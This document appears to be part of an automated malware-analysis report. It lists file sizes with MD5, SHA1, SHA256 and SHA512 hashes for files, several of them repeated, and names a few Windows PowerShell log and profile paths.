SHA5121dea5504708c6a7404a727b0ff5af6a09d8176759168ae8fc2ab0a63767dade32c762e6f47f1e6a764229afd5ff7152a019abf02d26c871470b16f030c4774f0
-
Filesize
217KB
MD5269de4b105b76b03cc3133db3b885f36
SHA100ac349f8f69d4996ed86bad5f9efd413e7415b8
SHA256049e444061d1a50456602e8468908f518e2516db1727c6bfd22689b65be3fa73
SHA5120af7b3fd713d5536953cb057231a745a123bc0ce6c0f606220fc565fe6fd353ec8544518705c456f62b8ef727ee8a41053399c095c7cef853df71c02658ed4c8
-
Filesize
217KB
MD5269de4b105b76b03cc3133db3b885f36
SHA100ac349f8f69d4996ed86bad5f9efd413e7415b8
SHA256049e444061d1a50456602e8468908f518e2516db1727c6bfd22689b65be3fa73
SHA5120af7b3fd713d5536953cb057231a745a123bc0ce6c0f606220fc565fe6fd353ec8544518705c456f62b8ef727ee8a41053399c095c7cef853df71c02658ed4c8
-
Filesize
73KB
MD50f975a57f2bf0803ddcb7f9ffdf80ed1
SHA15c6e66e816c08f452587db29a28adf8a6c3bdab3
SHA256fd296cc853286850a94975913c7b4de30d3229acefc5508a358b39e4bf285226
SHA512b9d95aa66ee67917a8124be3543da560846421e5b2fcf4ada6485871c4296831abf5e97bc38161b5f3c4dd1b7b08986f783181d3b383cde5a571282840fe316e
-
Filesize
73KB
MD50f975a57f2bf0803ddcb7f9ffdf80ed1
SHA15c6e66e816c08f452587db29a28adf8a6c3bdab3
SHA256fd296cc853286850a94975913c7b4de30d3229acefc5508a358b39e4bf285226
SHA512b9d95aa66ee67917a8124be3543da560846421e5b2fcf4ada6485871c4296831abf5e97bc38161b5f3c4dd1b7b08986f783181d3b383cde5a571282840fe316e
-
Filesize
570KB
MD5589ba7e423444dc1d92d15766377e56e
SHA105f0d0ca0a174b9c794337431792c38d53266736
SHA25655bd5b8966da6f5accaca1c97e7cd94f5caa9c7737d12a0364cae63ecc9d0c83
SHA512c68a82fd00c040c51d13ac1dcb6a475acf72e57245883a91605c70a2f474733d707bf0b827877e4cb42e317fd5aa90a34b25358198f3eefa4949fd0c9d4da99e
-
Filesize
570KB
MD5589ba7e423444dc1d92d15766377e56e
SHA105f0d0ca0a174b9c794337431792c38d53266736
SHA25655bd5b8966da6f5accaca1c97e7cd94f5caa9c7737d12a0364cae63ecc9d0c83
SHA512c68a82fd00c040c51d13ac1dcb6a475acf72e57245883a91605c70a2f474733d707bf0b827877e4cb42e317fd5aa90a34b25358198f3eefa4949fd0c9d4da99e
-
Filesize
339KB
MD514d9834611ad581afcfea061652ff6cb
SHA1802f964d0be7858eb2f1e7c6fcda03501fd1b71c
SHA256e6e9b3d830f2d7860a09d596576e8ab0131c527b47dda73fe727b71b44c8cf60
SHA512cbef1f44eb76d719c60d857a567a3fc700d62751111337cd4f8d30deae6901dc361320f28dac5ec5468420419eed66cada20f4c90fe07db6a3f8cf959eba31b5
-
Filesize
339KB
MD514d9834611ad581afcfea061652ff6cb
SHA1802f964d0be7858eb2f1e7c6fcda03501fd1b71c
SHA256e6e9b3d830f2d7860a09d596576e8ab0131c527b47dda73fe727b71b44c8cf60
SHA512cbef1f44eb76d719c60d857a567a3fc700d62751111337cd4f8d30deae6901dc361320f28dac5ec5468420419eed66cada20f4c90fe07db6a3f8cf959eba31b5
-
Filesize
334KB
MD53b8a11f4fedff7cca8f4f957c4618efa
SHA1adc373087d1c2b3bc72f0cb383cc96a7f9bf8fe2
SHA2565a0fe0acf82fd8835957e16e94980f01ab45013a05dd7fd323db2bb283870529
SHA512335acc4e6a53643f780f6ce2b7497021dd5d377431f52f63935a380aa1197673d7d05785be0c3d324132c6f5bc7eb56ee44c0639ca72654d9004a32e88016778
-
Filesize
334KB
MD53b8a11f4fedff7cca8f4f957c4618efa
SHA1adc373087d1c2b3bc72f0cb383cc96a7f9bf8fe2
SHA2565a0fe0acf82fd8835957e16e94980f01ab45013a05dd7fd323db2bb283870529
SHA512335acc4e6a53643f780f6ce2b7497021dd5d377431f52f63935a380aa1197673d7d05785be0c3d324132c6f5bc7eb56ee44c0639ca72654d9004a32e88016778
-
Filesize
300KB
MD5784667bb96ccb30c4cf44f2c5f493769
SHA128185165ab4dbbb4a139ae1af0bb6934ebe05c04
SHA2561025fb084bca865df30e69eea7a9a4a3c852626e148b340de661e6f5b63bc1c9
SHA51262c9def097f132cdb26b11e586f3e15407b9eb9e9e32f79460a3be1bd4c8e046db8488f754cd1c1cc4fe4025a3f9bc9484e94eae0c7d273050f8e6548d12bc20
-
Filesize
300KB
MD5784667bb96ccb30c4cf44f2c5f493769
SHA128185165ab4dbbb4a139ae1af0bb6934ebe05c04
SHA2561025fb084bca865df30e69eea7a9a4a3c852626e148b340de661e6f5b63bc1c9
SHA51262c9def097f132cdb26b11e586f3e15407b9eb9e9e32f79460a3be1bd4c8e046db8488f754cd1c1cc4fe4025a3f9bc9484e94eae0c7d273050f8e6548d12bc20
-
Filesize
37KB
MD5b938034561ab089d7047093d46deea8f
SHA1d778c32cc46be09b107fa47cf3505ba5b748853d
SHA256260784b1afd8b819cb6ccb91f01090942375e527abdc060dd835992d88c04161
SHA5124909585c112fba3575e07428679fd7add07453e11169f33922faca2012d8e8fa6dfb763d991c68d3b4bbc6e78b6f37d2380c502daada325d73c7fff6c647769b
-
Filesize
37KB
MD5b938034561ab089d7047093d46deea8f
SHA1d778c32cc46be09b107fa47cf3505ba5b748853d
SHA256260784b1afd8b819cb6ccb91f01090942375e527abdc060dd835992d88c04161
SHA5124909585c112fba3575e07428679fd7add07453e11169f33922faca2012d8e8fa6dfb763d991c68d3b4bbc6e78b6f37d2380c502daada325d73c7fff6c647769b
-
Filesize
2.5MB
MD5bc3354a4cd405a2f2f98e8b343a7d08d
SHA14880d2a987354a3163461fddd2422e905976c5b2
SHA256fffc160a4c555057143383fec606841cd2c319f79f52596e0d27322a677dca0b
SHA512fe349af0497e2aa6933b1acfea9fecd2c1f16da009a06ac7d7f638353283da3ef04e9c3520d33bae6e15ea6190420a27be97f46e5553a538b661af226c241c6b
-
Filesize
2.5MB
MD5bc3354a4cd405a2f2f98e8b343a7d08d
SHA14880d2a987354a3163461fddd2422e905976c5b2
SHA256fffc160a4c555057143383fec606841cd2c319f79f52596e0d27322a677dca0b
SHA512fe349af0497e2aa6933b1acfea9fecd2c1f16da009a06ac7d7f638353283da3ef04e9c3520d33bae6e15ea6190420a27be97f46e5553a538b661af226c241c6b
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
181B
MD5225edee1d46e0a80610db26b275d72fb
SHA1ce206abf11aaf19278b72f5021cc64b1b427b7e8
SHA256e1befb57d724c9dc760cf42d7e0609212b22faeb2dc0c3ffe2fbd7134ff69559
SHA5124f01a2a248a1322cb690b7395b818d2780e46f4884e59f1ab96125d642b6358eea97c7fad6023ef17209b218daa9c88d15ea2b92f124ecb8434c0c7b4a710504
-
Filesize
3B
MD5a5ea0ad9260b1550a14cc58d2c39b03d
SHA1f0aedf295071ed34ab8c6a7692223d22b6a19841
SHA256f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04
SHA5127c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74
-
Filesize
5.6MB
MD5bae29e49e8190bfbbf0d77ffab8de59d
SHA14a6352bb47c7e1666a60c76f9b17ca4707872bd9
SHA256f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87
SHA5129e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2
-
Filesize
5.6MB
MD5bae29e49e8190bfbbf0d77ffab8de59d
SHA14a6352bb47c7e1666a60c76f9b17ca4707872bd9
SHA256f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87
SHA5129e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2
-
Filesize
46KB
MD502d2c46697e3714e49f46b680b9a6b83
SHA184f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA51260348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac
-
Filesize
92KB
MD590a4e3db168e5bdc6b5e562ce7f41a06
SHA12bf235c33b3395caefc1b9f1a280f83422f94d40
SHA256fdd37b06f981e619d6690edeaa17ba8d86c66cec9331632f3d9922bb2c6eabf5
SHA512e30f0a67bbdc6507ac5babaa5fe1e0db7cde6b62812f6365fe83293e5fbba3f62db43c80c635a43b3b0ffb2e08ac2faf79eff0d3bea8e2aaaca6c55fb0833c0b
-
Filesize
96KB
MD5d367ddfda80fdcf578726bc3b0bc3e3c
SHA123fcd5e4e0e5e296bee7e5224a8404ecd92cf671
SHA2560b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0
SHA51240e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77
-
Filesize
261KB
MD5a32062da6b35029d6ca39c0dc056d0fa
SHA1c41d980ce3fde0250e1aaefc7a5a044068c36fce
SHA2562e8b2c2dc3720340cf0c4639d80e2a23cbea493f94e3f06c180bb6470b5ee804
SHA5129d5ba2530e4221901cf4c4c5c0e2e395d022c570cc95491abf11a675fb2f1613d078fa6fb33cd4c37d06ddc3a04220601fdb8fcec46d26fa0e1ff61526aa8d19
-
Filesize
261KB
MD5a32062da6b35029d6ca39c0dc056d0fa
SHA1c41d980ce3fde0250e1aaefc7a5a044068c36fce
SHA2562e8b2c2dc3720340cf0c4639d80e2a23cbea493f94e3f06c180bb6470b5ee804
SHA5129d5ba2530e4221901cf4c4c5c0e2e395d022c570cc95491abf11a675fb2f1613d078fa6fb33cd4c37d06ddc3a04220601fdb8fcec46d26fa0e1ff61526aa8d19
-
Filesize
261KB
MD5a32062da6b35029d6ca39c0dc056d0fa
SHA1c41d980ce3fde0250e1aaefc7a5a044068c36fce
SHA2562e8b2c2dc3720340cf0c4639d80e2a23cbea493f94e3f06c180bb6470b5ee804
SHA5129d5ba2530e4221901cf4c4c5c0e2e395d022c570cc95491abf11a675fb2f1613d078fa6fb33cd4c37d06ddc3a04220601fdb8fcec46d26fa0e1ff61526aa8d19
-
Filesize
316KB
MD5051cdb6ac8e168d178e35489b6da4c74
SHA138c171457d160f8a6f26baa668f5c302f6c29cd1
SHA2566562585009f15155eea9a489e474cebc4dd2a01a26d846fdd1b93fdc24b0c269
SHA512602ab9999f7164a2d1704f712d8a622d69148eefe9a380c30bc8b310eadedf846ce6ae7940317437d5da59404d141dc2d1e0c3f954ca4ac7ae3497e56fcb4e36
-
Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
-
Filesize
260B
MD5b03cdfa1a574db380c6285383d486208
SHA1f671f79271ac46bf2cbc3905b67ef7d805e2f1ff
SHA2567b4830e9191bf4d788f1ad64264be54296a870e96464126b885c057245ee0dc9
SHA5129ea62686dc9493a1507da481a9e79a469e619b1c1924c5b0c8f534d33a3b4bafb0315c362701b942de5a5ab88d1b6d1a9efe442e7e0ed657f4e6d49b55a74ddf
-
Filesize
106KB
MD567c53a770390e8c038060a1921c20da9
SHA149e63af91169c8ce7ef7de3d6a6fb9f8f739fa3a
SHA2562dfdc169dfc27462adc98dde39306de8d0526dcf4577a1a486c2eef447300689
SHA512201e07dbccd83480d6c4d8562e6d0a9e4c52ed12895f0b91d875c2bbcc50b3b1802e11e5e829c948be302bf98ebde7fb2a99476065d1709b3bdbcd5d59a1612d
-
Filesize
3.3MB
MD5e7b92529ea10176fe35ba73fa4edef74
SHA1fc5b325d433cde797f6ad0d8b1305d6fb16d4e34
SHA256b6d4ad0231941e0637485ac5833e0fdc75db35289b54e70f3858b70d36d04c80
SHA512fb3a70e87772c1fb386ad8def6c7bdf325b8d525355d4386102649eb2d61f09ce101fce37ccc1f44d5878e604e2e426d96618e836367ab460cae01f627833517
-
Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
-
Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
-
Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
-
Filesize
922B
MD55cc880ffdc6913ae7ca952b239650564
SHA125e94c34cec7341972fe5379348afafcdb46550d
SHA256338bcf728f3ceb7b3e4f1dd308b2b834394b9441008a23d6fd84aa8adb2395c3
SHA512b127aca5bd351c310f5aa609406c78d71928c98b6f2806c246dcab711d33229cdae5044c2fe5dd7c1c3442965bc33a8951bc54341d07fb06c34d0f73fa8ac101
-
Filesize
14KB
MD53aabcd7c81425b3b9327a2bf643251c6
SHA1ea841199baa7307280fc9e4688ac75e5624f2181
SHA2560cff893b1e7716d09fb74b7a0313b78a09f3f48c586d31fc5f830bd72ce8331f
SHA51297605b07be34948541462000345f1e8f9a9134d139448d4f331cefeeca6dad51c025fcab09d182b86e5a4a8e2f9412b3745ec86b514b0523497c821cb6b8c592
-
Filesize
261KB
MD5a32062da6b35029d6ca39c0dc056d0fa
SHA1c41d980ce3fde0250e1aaefc7a5a044068c36fce
SHA2562e8b2c2dc3720340cf0c4639d80e2a23cbea493f94e3f06c180bb6470b5ee804
SHA5129d5ba2530e4221901cf4c4c5c0e2e395d022c570cc95491abf11a675fb2f1613d078fa6fb33cd4c37d06ddc3a04220601fdb8fcec46d26fa0e1ff61526aa8d19
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize2KB
MD5db01a2c1c7e70b2b038edf8ad5ad9826
SHA1540217c647a73bad8d8a79e3a0f3998b5abd199b
SHA256413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d
SHA512c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5d53f36e79932e5975790c57dc809381b
SHA186e2ab6b390b90b8d12c8ce6b01c1afbe72ac7cc
SHA256d22c9f9477750850c5ba9c43f7020134f067c8f4be8e61e86b4f8975287475a0
SHA5126a8c2a8c41a9f76d281141a82129ab76f47fc01ef765c3611e2dcbda939d3165d368ba0b265ae3251dd274bc6b0e1de3aa01438752e836f5ef57dd6ed0c144f2
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD59a92bf93521d3c08818f5787db5517b2
SHA1739a5f96b5a8560f5845b61a312ae8e2293dfb16
SHA256660900288eb723bd31336a6c4f618478572ba91b4406d2a83ff203d7a3fdd73f
SHA512dc61811361f079cbbef0cd19766533809cb6b5d1321d3aa7955d0dc1173834bed7e3d867dceb33ff9caeaca6106b8611eec5161d3de90f894f0871c8789295a1
-
Filesize
4.2MB
MD58e8b113c8ceae15aa65ca7bdbe9cb793
SHA1c5109c5158f0865ca59d645b48538665238348fa
SHA25693ec6236b564de592261c56cac7f6adbfa051bb691cc4aad6def3bf3d0046924
SHA5126d3dab940f5297afb03d311d6ca1ba5a6d6878010f8572190fe898215887e52fafc42e94f27e3c0c5a6b7825eb07e3c9775dad6dc1cae9144b43077715f09a1b
-
Filesize
406KB
MD5a8c9a333b36c8e75d8bddcb764b57ad5
SHA12a177564696110d0b6784312374111bf15d9804f
SHA2565efdfa9a381962ab18fe88c5256b0b931fbcc4879b19ad20cf9f349d404ca49c
SHA5122eea34fc923f89cd15e5c371ffef8bdee870c851a424b0ae4b49c4ec81bfede124ee5df8012d0bd1a8c90273fa61180a7dba4df18b1392fe9d1ff3c0e78aa5cf
-
Filesize
406KB
MD5a8c9a333b36c8e75d8bddcb764b57ad5
SHA12a177564696110d0b6784312374111bf15d9804f
SHA2565efdfa9a381962ab18fe88c5256b0b931fbcc4879b19ad20cf9f349d404ca49c
SHA5122eea34fc923f89cd15e5c371ffef8bdee870c851a424b0ae4b49c4ec81bfede124ee5df8012d0bd1a8c90273fa61180a7dba4df18b1392fe9d1ff3c0e78aa5cf
-
Filesize
316KB
MD5051cdb6ac8e168d178e35489b6da4c74
SHA138c171457d160f8a6f26baa668f5c302f6c29cd1
SHA2566562585009f15155eea9a489e474cebc4dd2a01a26d846fdd1b93fdc24b0c269
SHA512602ab9999f7164a2d1704f712d8a622d69148eefe9a380c30bc8b310eadedf846ce6ae7940317437d5da59404d141dc2d1e0c3f954ca4ac7ae3497e56fcb4e36
-
Filesize
14KB
MD53aabcd7c81425b3b9327a2bf643251c6
SHA1ea841199baa7307280fc9e4688ac75e5624f2181
SHA2560cff893b1e7716d09fb74b7a0313b78a09f3f48c586d31fc5f830bd72ce8331f
SHA51297605b07be34948541462000345f1e8f9a9134d139448d4f331cefeeca6dad51c025fcab09d182b86e5a4a8e2f9412b3745ec86b514b0523497c821cb6b8c592
-
Filesize
3.3MB
MD5e7b92529ea10176fe35ba73fa4edef74
SHA1fc5b325d433cde797f6ad0d8b1305d6fb16d4e34
SHA256b6d4ad0231941e0637485ac5833e0fdc75db35289b54e70f3858b70d36d04c80
SHA512fb3a70e87772c1fb386ad8def6c7bdf325b8d525355d4386102649eb2d61f09ce101fce37ccc1f44d5878e604e2e426d96618e836367ab460cae01f627833517
-
Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
-
Filesize
106KB
MD567c53a770390e8c038060a1921c20da9
SHA149e63af91169c8ce7ef7de3d6a6fb9f8f739fa3a
SHA2562dfdc169dfc27462adc98dde39306de8d0526dcf4577a1a486c2eef447300689
SHA512201e07dbccd83480d6c4d8562e6d0a9e4c52ed12895f0b91d875c2bbcc50b3b1802e11e5e829c948be302bf98ebde7fb2a99476065d1709b3bdbcd5d59a1612d